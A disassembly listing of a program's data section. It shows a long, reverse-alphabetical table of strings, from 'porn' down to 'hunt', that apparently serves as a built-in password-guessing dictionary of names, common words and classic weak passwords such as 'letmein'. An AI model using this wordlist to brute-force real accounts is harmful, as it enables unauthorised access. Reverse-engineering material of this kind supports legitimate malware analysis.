aPorn		db 'porn',0             ; DATA XREF: ___:00430A34o
		align 10h
aPork		db 'pork',0             ; DATA XREF: ___:00430A30o
		align 4
aPoor		db 'poor',0             ; DATA XREF: ___:00430A2Co
		align 10h
aPoop		db 'poop',0             ; DATA XREF: ___:00430A28o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: ___:00430A24o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: ___:00430A20o
		align 10h
aPolly		db 'polly',0            ; DATA XREF: ___:00430A1Co
		align 4
aPolice		db 'police',0           ; DATA XREF: ___:00430A18o
		align 10h
aPoetry		db 'poetry',0           ; DATA XREF: ___:00430A14o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: ___:00430A10o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: ___:00430A0Co
		align 4
aPlover		db 'plover',0           ; DATA XREF: ___:00430A08o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: ___:00430A04o
aPlane		db 'plane',0            ; DATA XREF: ___:00430A00o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: ___:004309FCo
		align 4
aPiss		db 'piss',0             ; DATA XREF: ___:004309F8o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: ___:004309F4o
aPimp		db 'pimp',0             ; DATA XREF: ___:004309F0o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: ___:004309ECo
		align 4
aPick		db 'pick',0             ; DATA XREF: ___:004309E8o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: ___:004309E4o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: ___:004309E0o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: ___:004309DCo
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: ___:004309D8o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: ___:004309D4o
		align 4
aPhone		db 'phone',0            ; DATA XREF: ___:004309D0o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: ___:004309CCo
aPhilip		db 'philip',0           ; DATA XREF: ___:004309C8o
		align 4
aPhil		db 'phil',0             ; DATA XREF: ___:004309C4o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004309C0o
		align 4
aPete		db 'pete',0             ; DATA XREF: ___:004309BCo
		align 4
aPervert	db 'pervert',0          ; DATA XREF: ___:004309B8o
aPersona	db 'persona',0          ; DATA XREF: ___:004309B4o
aPersimmo	db 'persimmo',0         ; DATA XREF: ___:004309B0o
		align 4
aPermit		db 'permit',0           ; DATA XREF: ___:004309ACo
		align 10h
aPerfect	db 'perfect',0          ; DATA XREF: ___:004309A8o
aPercolat	db 'percolat',0         ; DATA XREF: ___:004309A4o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: ___:004309A0o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: ___:0043099Co
		align 4
aPentium	db 'pentium',0          ; DATA XREF: ___:00430998o
aPenthous	db 'penthous',0         ; DATA XREF: ___:00430994o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: ___:00430990o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: ___:0043098Co
		align 10h
aPenname	db 'penname',0          ; DATA XREF: ___:00430988o
aPenis		db 'penis',0            ; DATA XREF: ___:00430984o
		align 10h
aPenguin	db 'penguin',0          ; DATA XREF: ___:00430980o
aPenelope	db 'penelope',0         ; DATA XREF: ___:0043097Co
		align 4
aPencil		db 'pencil',0           ; DATA XREF: ___:00430978o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: ___:00430974o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: ___:00430970o
aPaula		db 'paula',0            ; DATA XREF: ___:0043096Co
		align 4
aPatty		db 'patty',0            ; DATA XREF: ___:00430968o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: ___:00430964o
aPatricia	db 'patricia',0         ; DATA XREF: ___:00430960o
		align 10h
aPaste		db 'paste',0            ; DATA XREF: ___:0043095Co
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: ___:00430958o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: ___:00430954o
		align 4
aPapers		db 'papers',0           ; DATA XREF: ___:00430950o
		align 4
aPaper		db 'paper',0            ; DATA XREF: ___:0043094Co
		align 4
aPapa		db 'papa',0             ; DATA XREF: ___:00430948o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: ___:00430944o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: ___:00430940o
		align 4
aPaint		db 'paint',0            ; DATA XREF: ___:0043093Co
		align 10h
aPainless	db 'painless',0         ; DATA XREF: ___:00430938o
		align 4
aPacker		db 'packer',0           ; DATA XREF: ___:00430934o
		align 4
aPackard	db 'packard',0          ; DATA XREF: ___:00430930o
aPacific	db 'pacific',0          ; DATA XREF: ___:0043092Co
aOxford		db 'oxford',0           ; DATA XREF: ___:00430928o
		align 4
aOutside	db 'outside',0          ; DATA XREF: ___:00430924o
aOutput		db 'output',0           ; DATA XREF: ___:00430920o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: ___:0043091Co
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: ___:00430918o
		align 10h
aOsiris		db 'osiris',0           ; DATA XREF: ___:00430914o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: ___:00430910o
		align 10h
aOrwell		db 'orwell',0           ; DATA XREF: ___:0043090Co
		align 4
aOrient		db 'orient',0           ; DATA XREF: ___:00430908o
		align 10h
aOrca		db 'orca',0             ; DATA XREF: ___:00430904o
		align 4
aOperator	db 'operator',0         ; DATA XREF: ___:00430900o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: ___:004308FCo
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: ___:004308F8o
		align 4
aOpening	db 'opening',0          ; DATA XREF: ___:004308F4o
aOmega		db 'omega',0            ; DATA XREF: ___:004308ECo
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: ___:004308E8o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: ___:004308E4o
		align 10h
aOldage		db 'oldage',0           ; DATA XREF: ___:004308E0o
		align 4
aOkay		db 'okay',0             ; DATA XREF: ___:004308DCo
		align 10h
aOffice		db 'office',0           ; DATA XREF: ___:004308D8o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: ___:004308D4o
		align 10h
aOceanogr	db 'oceanogr',0         ; DATA XREF: ___:004308D0o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: ___:004308CCo
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: ___:004308C8o
aNuts		db 'nuts',0             ; DATA XREF: ___:004308C4o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: ___:004308C0o
		align 4
aNumber		db 'number',0           ; DATA XREF: ___:004308BCo
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:004308B8o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: ___:004308B4o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: ___:004308B0o
		align 4
aNude		db 'nude',0             ; DATA XREF: ___:004308ACo
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: ___:004308A8o
aNoxious	db 'noxious',0          ; DATA XREF: ___:004308A4o
aNovember	db 'november',0         ; DATA XREF: ___:004308A0o
		align 4
aNovel		db 'novel',0            ; DATA XREF: ___:0043089Co
		align 10h
aNova		db 'nova',0             ; DATA XREF: ___:00430898o
		align 4
aNoth		db 'noth',0             ; DATA XREF: ___:00430894o
		align 10h
aNotes		db 'notes',0            ; DATA XREF: ___:00430890o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: ___:0043088Co
		align 10h
aNode		db 'node',0             ; DATA XREF: ___:00430888o
		align 4
aNobody		db 'nobody',0           ; DATA XREF: ___:00430884o
		align 10h
aNoble		db 'noble',0            ; DATA XREF: ___:00430880o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: ___:0043087Co
		align 10h
aNita		db 'nita',0             ; DATA XREF: ___:00430878o
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: ___:00430874o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: ___:00430870o
		align 10h
aNight		db 'night',0            ; DATA XREF: ___:0043086Co
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: ___:00430868o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: ___:00430864o
		align 4
aNice		db 'nice',0             ; DATA XREF: ___:00430860o
		align 4
aNext		db 'next',0             ; DATA XREF: ___:0043085Co
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: ___:00430858o
aNewton		db 'newton',0           ; DATA XREF: ___:00430854o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: ___:00430850o
		align 4
aNews		db 'news',0             ; DATA XREF: ___:0043084Co
		align 10h
aNewborn	db 'newborn',0          ; DATA XREF: ___:00430848o
aNetwork_0	db 'network',0          ; DATA XREF: ___:00430844o
aNetscape	db 'netscape',0         ; DATA XREF: ___:00430840o
		align 4
aNess		db 'ness',0             ; DATA XREF: ___:0043083Co
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: ___:00430838o
aNepenthe	db 'nepenthe',0         ; DATA XREF: ___:00430834o
		align 4
aNavy		db 'navy',0             ; DATA XREF: ___:00430830o
		align 10h
aNasa		db 'nasa',0             ; DATA XREF: ___:0043082Co
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: ___:00430828o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: ___:00430824o
		align 4
aName		db 'name',0             ; DATA XREF: ___:00430820o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: ___:0043081Co
		align 4
aMutant		db 'mutant',0           ; DATA XREF: ___:00430818o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: ___:00430814o
aMsdos		db 'msdos',0            ; DATA XREF: ___:00430810o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: ___:0043080Co
		align 4
aMozart		db 'mozart',0           ; DATA XREF: ___:00430808o
		align 4
aMovies		db 'movies',0           ; DATA XREF: ___:00430804o
		align 4
aMovie		db 'movie',0            ; DATA XREF: ___:00430800o
		align 4
aMove		db 'move',0             ; DATA XREF: ___:004307FCo
		align 4
aMouse		db 'mouse',0            ; DATA XREF: ___:004307F8o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: ___:004307F4o
		align 10h
aMosaic		db 'mosaic',0           ; DATA XREF: ___:004307F0o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: ___:004307ECo
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: ___:004307E8o
		align 10h
aMortal		db 'mortal',0           ; DATA XREF: ___:004307E4o
		align 4
aMorris		db 'morris',0           ; DATA XREF: ___:004307E0o
		align 10h
aMorley		db 'morley',0           ; DATA XREF: ___:004307DCo
		align 4
aMore		db 'more',0             ; DATA XREF: ___:004307D8o
		align 10h
aMoose		db 'moose',0            ; DATA XREF: ___:004307D4o
		align 4
aMoor		db 'moor',0             ; DATA XREF: ___:004307D0o
		align 10h
aMoom		db 'moom',0             ; DATA XREF: ___:004307CCo
		align 4
aMonica		db 'monica',0           ; DATA XREF: ___:004307C8o
		align 10h
aMonday		db 'monday',0           ; DATA XREF: ___:004307C4o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: ___:004307C0o
		align 10h
aMogul		db 'mogul',0            ; DATA XREF: ___:004307BCo
		align 4
aModem		db 'modem',0            ; DATA XREF: ___:004307B8o
		align 10h
aMode		db 'mode',0             ; DATA XREF: ___:004307B4o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: ___:004307B0o
		align 10h
aMission	db 'mission',0          ; DATA XREF: ___:004307ACo
aMisfit		db 'misfit',0           ; DATA XREF: ___:004307A8o
		align 10h
aMinsky		db 'minsky',0           ; DATA XREF: ___:004307A4o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: ___:004307A0o
aMine		db 'mine',0             ; DATA XREF: ___:0043079Co
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:00430798o
		align 10h
aMidieval	db 'midieval',0         ; DATA XREF: ___:00430794o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: ___:00430790o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: ___:0043078Co
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: ___:00430788o
		align 10h
aMicro		db 'micro',0            ; DATA XREF: ___:00430784o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: ___:00430780o
		align 10h
aMichelle	db 'michelle',0         ; DATA XREF: ___:0043077Co
		align 4
aMichele	db 'michele',0          ; DATA XREF: ___:00430778o
aMichelan	db 'michelan',0         ; DATA XREF: ___:00430774o
		align 10h
aMichel		db 'michel',0           ; DATA XREF: ___:00430770o
		align 4
aMichael	db 'michael',0          ; DATA XREF: ___:0043076Co
aMice		db 'mice',0             ; DATA XREF: ___:00430768o
		align 4
aMets		db 'mets',0             ; DATA XREF: ___:00430764o
		align 10h
aMetalica	db 'metalica',0         ; DATA XREF: ___:00430760o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: ___:0043075Co
		align 4
aMetal		db 'metal',0            ; DATA XREF: ___:00430758o
		align 10h
aMerlin		db 'merlin',0           ; DATA XREF: ___:00430754o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: ___:00430750o
aMenu		db 'menu',0             ; DATA XREF: ___:0043074Co
		align 4
aMenace		db 'menace',0           ; DATA XREF: ___:00430748o
		align 10h
aMemory		db 'memory',0           ; DATA XREF: ___:00430744o
		align 4
aMember		db 'member',0           ; DATA XREF: ___:00430740o
		align 10h
aMelrose	db 'melrose',0          ; DATA XREF: ___:0043073Co
aMellon		db 'mellon',0           ; DATA XREF: ___:00430738o
		align 10h
aMelissa	db 'melissa',0          ; DATA XREF: ___:00430734o
aMegan		db 'megan',0            ; DATA XREF: ___:00430730o
		align 10h
aMegadeth	db 'megadeth',0         ; DATA XREF: ___:0043072Co
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: ___:00430728o
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: ___:00430724o
		align 10h
aMaurice	db 'maurice',0          ; DATA XREF: ___:00430720o
aMath		db 'math',0             ; DATA XREF: ___:0043071Co
		align 10h
aMaster		db 'master',0           ; DATA XREF: ___:00430718o
		align 4
aMason		db 'mason',0            ; DATA XREF: ___:00430714o
		align 10h
aMary		db 'mary',0             ; DATA XREF: ___:00430710o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: ___:0043070Co
		align 10h
aMarty		db 'marty',0            ; DATA XREF: ___:00430708o
		align 4
aMars		db 'mars',0             ; DATA XREF: ___:00430704o
		align 10h
aMarriage	db 'marriage',0         ; DATA XREF: ___:00430700o
		align 4
aMarni		db 'marni',0            ; DATA XREF: ___:004306FCo
		align 4
aMarkus		db 'markus',0           ; DATA XREF: ___:004306F8o
		align 4
aMark		db 'mark',0             ; DATA XREF: ___:004306F4o
		align 4
aMarines	db 'marines',0          ; DATA XREF: ___:004306F0o
aMarijuan	db 'marijuan',0         ; DATA XREF: ___:004306ECo
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: ___:004306E8o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: ___:004306E4o
aMaria		db 'maria',0            ; DATA XREF: ___:004306E0o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: ___:004306DCo
		align 4
aMarci		db 'marci',0            ; DATA XREF: ___:004306D8o
		align 4
aMara		db 'mara',0             ; DATA XREF: ___:004306D4o
		align 4
aManager	db 'manager',0          ; DATA XREF: ___:004306D0o
aMana		db 'mana',0             ; DATA XREF: ___:004306CCo
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: ___:004306C8o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: ___:004306C4o
aMaint		db 'maint',0            ; DATA XREF: ___:004306C0o
		align 4
aMail		db 'mail',0             ; DATA XREF: ___:004306BCo
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: ___:004306B8o
		align 4
aMagic		db 'magic',0            ; DATA XREF: ___:004306B4o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: ___:004306B0o
		align 4
aMacro		db 'macro',0            ; DATA XREF: ___:004306ACo
		align 4
aMack		db 'mack',0             ; DATA XREF: ___:004306A8o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: ___:004306A4o
		align 10h
aMachine	db 'machine',0          ; DATA XREF: ___:004306A0o
aLynne		db 'lynne',0            ; DATA XREF: ___:0043069Co
		align 10h
aLynn		db 'lynn',0             ; DATA XREF: ___:00430698o
		align 4
aLust		db 'lust',0             ; DATA XREF: ___:00430694o
		align 10h
aLuke		db 'luke',0             ; DATA XREF: ___:00430690o
		align 4
aLude		db 'lude',0             ; DATA XREF: ___:0043068Co
		align 10h
aLucy		db 'lucy',0             ; DATA XREF: ___:00430688o
		align 4
aLucus		db 'lucus',0            ; DATA XREF: ___:00430684o
		align 10h
aLuck		db 'luck',0             ; DATA XREF: ___:00430680o
		align 4
aLover		db 'lover',0            ; DATA XREF: ___:0043067Co
		align 10h
aLovebug	db 'lovebug',0          ; DATA XREF: ___:00430678o
aLouis		db 'louis',0            ; DATA XREF: ___:00430674o
		align 10h
aLoser		db 'loser',0            ; DATA XREF: ___:00430670o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: ___:0043066Co
		align 4
aLorin		db 'lorin',0            ; DATA XREF: ___:00430668o
		align 4
aLori		db 'lori',0             ; DATA XREF: ___:00430664o
		align 4
aLore		db 'lore',0             ; DATA XREF: ___:00430660o
		align 4
aLoose		db 'loose',0            ; DATA XREF: ___:0043065Co
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: ___:00430658o
		align 4
aLois		db 'lois',0             ; DATA XREF: ___:00430654o
		align 4
aLogout		db 'logout',0           ; DATA XREF: ___:00430650o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: ___:0043064Co
		align 4
aLogic		db 'logic',0            ; DATA XREF: ___:00430648o
		align 10h
aLockword	db 'lockword',0         ; DATA XREF: ___:00430644o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: ___:00430640o
aLock		db 'lock',0             ; DATA XREF: ___:0043063Co
		align 4
aLoad		db 'load',0             ; DATA XREF: ___:00430638o
		align 4
aLive		db 'live',0             ; DATA XREF: ___:00430634o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: ___:00430630o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: ___:0043062Co
		align 10h
aLisa		db 'lisa',0             ; DATA XREF: ___:00430628o
		align 4
aLips		db 'lips',0             ; DATA XREF: ___:00430624o
		align 10h
aLion		db 'lion',0             ; DATA XREF: ___:00430620o
		align 4
aLink		db 'link',0             ; DATA XREF: ___:0043061Co
		align 10h
aLinda		db 'linda',0            ; DATA XREF: ___:00430618o
		align 4
aLimited	db 'limited',0          ; DATA XREF: ___:00430614o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: ___:00430610o
		align 4
aLima		db 'lima',0             ; DATA XREF: ___:0043060Co
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: ___:00430608o
		align 10h
aLight		db 'light',0            ; DATA XREF: ___:00430604o
		align 4
aLife		db 'life',0             ; DATA XREF: ___:00430600o
		align 10h
aLicker		db 'licker',0           ; DATA XREF: ___:004305FCo
		align 4
aLick		db 'lick',0             ; DATA XREF: ___:004305F8o
		align 10h
aLibrary	db 'library',0          ; DATA XREF: ___:004305F4o
aLiberal	db 'liberal',0          ; DATA XREF: ___:004305F0o
aLexluthe	db 'lexluthe',0         ; DATA XREF: ___:004305ECo
		align 4
aLewis		db 'lewis',0            ; DATA XREF: ___:004305E8o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: ___:004305E4o
aLeslie		db 'leslie',0           ; DATA XREF: ___:004305E0o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: ___:004305DCo
aLeroy		db 'leroy',0            ; DATA XREF: ___:004305D8o
		align 4
aLeland		db 'leland',0           ; DATA XREF: ___:004305D4o
		align 4
aLegal		db 'legal',0            ; DATA XREF: ___:004305D0o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: ___:004305CCo
		align 10h
aLeft		db 'left',0             ; DATA XREF: ___:004305C8o
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: ___:004305C4o
		align 4
aLeah		db 'leah',0             ; DATA XREF: ___:004305C0o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: ___:004305BCo
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: ___:004305B8o
aLava		db 'lava',0             ; DATA XREF: ___:004305B4o
		align 4
aLaura		db 'laura',0            ; DATA XREF: ___:004305B0o
		align 4
aLaser		db 'laser',0            ; DATA XREF: ___:004305ACo
		align 4
aLarry		db 'larry',0            ; DATA XREF: ___:004305A8o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: ___:004305A4o
		align 4
aLara		db 'lara',0             ; DATA XREF: ___:004305A0o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: ___:0043059Co
		align 4
aLana		db 'lana',0             ; DATA XREF: ___:00430598o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: ___:00430594o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: ___:00430590o
		align 10h
aLakers		db 'lakers',0           ; DATA XREF: ___:0043058Co
		align 4
aLadle		db 'ladle',0            ; DATA XREF: ___:00430588o
		align 10h
aLadies		db 'ladies',0           ; DATA XREF: ___:00430584o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: ___:00430580o
		align 10h
aKristine	db 'kristine',0         ; DATA XREF: ___:0043057Co
		align 4
aKristin	db 'kristin',0          ; DATA XREF: ___:00430578o
aKristie	db 'kristie',0          ; DATA XREF: ___:00430574o
aKristi		db 'kristi',0           ; DATA XREF: ___:00430570o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: ___:0043056Co
aKrista		db 'krista',0           ; DATA XREF: ___:00430568o
		align 4
aKnown		db 'known',0            ; DATA XREF: ___:00430564o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: ___:00430560o
		align 4
aKnight		db 'knight',0           ; DATA XREF: ___:0043055Co
		align 10h
aKnife		db 'knife',0            ; DATA XREF: ___:00430558o
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: ___:00430554o
aKitten		db 'kitten',0           ; DATA XREF: ___:00430550o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: ___:0043054Co
		align 4
aKiss		db 'kiss',0             ; DATA XREF: ___:00430548o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: ___:00430544o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: ___:00430540o
		align 10h
aKing		db 'king',0             ; DATA XREF: ___:0043053Co
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: ___:00430538o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: ___:00430534o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: ___:00430530o
		align 4
aKill		db 'kill',0             ; DATA XREF: ___:0043052Co
		align 10h
aKids		db 'kids',0             ; DATA XREF: ___:00430528o
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: ___:00430524o
aKeyin		db 'keyin',0            ; DATA XREF: ___:00430520o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: ___:0043051Co
aKewl		db 'kewl',0             ; DATA XREF: ___:00430518o
		align 4
aKevin		db 'kevin',0            ; DATA XREF: ___:00430514o
		align 10h
aKerry		db 'kerry',0            ; DATA XREF: ___:00430510o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: ___:0043050Co
		align 10h
aKerri		db 'kerri',0            ; DATA XREF: ___:00430508o
		align 4
aKernel		db 'kernel',0           ; DATA XREF: ___:00430504o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: ___:00430500o
		align 4
aKeri		db 'keri',0             ; DATA XREF: ___:004304FCo
		align 10h
aKelly		db 'kelly',0            ; DATA XREF: ___:004304F8o
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: ___:004304F4o
aKatina		db 'katina',0           ; DATA XREF: ___:004304F0o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: ___:004304ECo
		align 10h
aKathrine	db 'kathrine',0         ; DATA XREF: ___:004304E8o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: ___:004304E4o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004304E0o
		align 10h
aKatana		db 'katana',0           ; DATA XREF: ___:004304DCo
		align 4
aKarina		db 'karina',0           ; DATA XREF: ___:004304D8o
		align 10h
aKarie		db 'karie',0            ; DATA XREF: ___:004304D4o
		align 4
aKaren		db 'karen',0            ; DATA XREF: ___:004304D0o
		align 10h
aKaka		db 'kaka',0             ; DATA XREF: ___:004304CCo
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: ___:004304C8o
aJune		db 'june',0             ; DATA XREF: ___:004304C4o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: ___:004304C0o
		align 10h
aJulie		db 'julie',0            ; DATA XREF: ___:004304BCo
		align 4
aJulia		db 'julia',0            ; DATA XREF: ___:004304B8o
		align 10h
aJuicy		db 'juicy',0            ; DATA XREF: ___:004304B4o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: ___:004304B0o
		align 10h
aJudy		db 'judy',0             ; DATA XREF: ___:004304ACo
		align 4
aJudith		db 'judith',0           ; DATA XREF: ___:004304A8o
		align 10h
aJoyce		db 'joyce',0            ; DATA XREF: ___:004304A4o
		align 4
aJournal	db 'journal',0          ; DATA XREF: ___:004304A0o
aJoshua		db 'joshua',0           ; DATA XREF: ___:0043049Co
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: ___:00430498o
		align 10h
aJohnny		db 'johnny',0           ; DATA XREF: ___:00430494o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: ___:00430490o
aJohn		db 'john',0             ; DATA XREF: ___:0043048Co
		align 4
aJody		db 'jody',0             ; DATA XREF: ___:00430488o
		align 10h
aJoanne		db 'joanne',0           ; DATA XREF: ___:00430484o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: ___:00430480o
		align 10h
aJill		db 'jill',0             ; DATA XREF: ___:0043047Co
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: ___:00430478o
aJester		db 'jester',0           ; DATA XREF: ___:00430474o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: ___:00430470o
aJerusale	db 'jerusale',0         ; DATA XREF: ___:0043046Co
		align 4
aJerry		db 'jerry',0            ; DATA XREF: ___:00430468o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: ___:00430464o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: ___:00430460o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: ___:0043045Co
		align 10h
aJeff		db 'jeff',0             ; DATA XREF: ___:00430458o
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: ___:00430454o
		align 10h
aJean		db 'jean',0             ; DATA XREF: ___:00430450o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: ___:0043044Co
		align 10h
aJava		db 'java',0             ; DATA XREF: ___:00430448o
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: ___:00430444o
		align 10h
aJapan		db 'japan',0            ; DATA XREF: ___:00430440o
		align 4
aJanie		db 'janie',0            ; DATA XREF: ___:0043043Co
		align 10h
aJanice		db 'janice',0           ; DATA XREF: ___:00430438o
		align 4
aJanet		db 'janet',0            ; DATA XREF: ___:00430434o
		align 10h
aJane		db 'jane',0             ; DATA XREF: ___:00430430o
		align 4
aJail		db 'jail',0             ; DATA XREF: ___:0043042Co
		align 10h
aJackie		db 'jackie',0           ; DATA XREF: ___:00430428o
		align 4
aIsis		db 'isis',0             ; DATA XREF: ___:00430424o
		align 10h
aIrishman	db 'irishman',0         ; DATA XREF: ___:00430420o
		align 4
aIrene		db 'irene',0            ; DATA XREF: ___:0043041Co
		align 4
aInvent		db 'invent',0           ; DATA XREF: ___:00430418o
		align 4
aInteger	db 'integer',0          ; DATA XREF: ___:00430414o
aInside		db 'inside',0           ; DATA XREF: ___:00430410o
		align 4
aInput		db 'input',0            ; DATA XREF: ___:0043040Co
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: ___:00430408o
		align 10h
aInna		db 'inna',0             ; DATA XREF: ___:00430404o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: ___:00430400o
		align 10h
aIngress	db 'ingress',0          ; DATA XREF: ___:004303FCo
aIngres		db 'ingres',0           ; DATA XREF: ___:004303F8o
		align 10h
aIndians	db 'indians',0          ; DATA XREF: ___:004303F4o
aIndiana	db 'indiana',0          ; DATA XREF: ___:004303F0o
aIndian		db 'indian',0           ; DATA XREF: ___:004303ECo
		align 4
aIndia		db 'india',0            ; DATA XREF: ___:004303E8o
		align 10h
aInclude	db 'include',0          ; DATA XREF: ___:004303E4o
aImperial	db 'imperial',0         ; DATA XREF: ___:004303E0o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: ___:004303DCo
		align 10h
aImbrogli	db 'imbrogli',0         ; DATA XREF: ___:004303D8o
		align 4
aImage		db 'image',0            ; DATA XREF: ___:004303D4o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: ___:004303D0o
		align 10h
aIcecream	db 'icecream',0         ; DATA XREF: ___:004303CCo
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: ___:004303C8o
		align 4
aHyper		db 'hyper',0            ; DATA XREF: ___:004303C4o
		align 10h
aHydrogen	db 'hydrogen',0         ; DATA XREF: ___:004303C0o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: ___:004303BCo
		align 4
aHunter		db 'hunter',0           ; DATA XREF: ___:004303B8o
		align 10h
aHunt		db 'hunt',0             ; DATA XREF: ___:004303B4o
		align 4
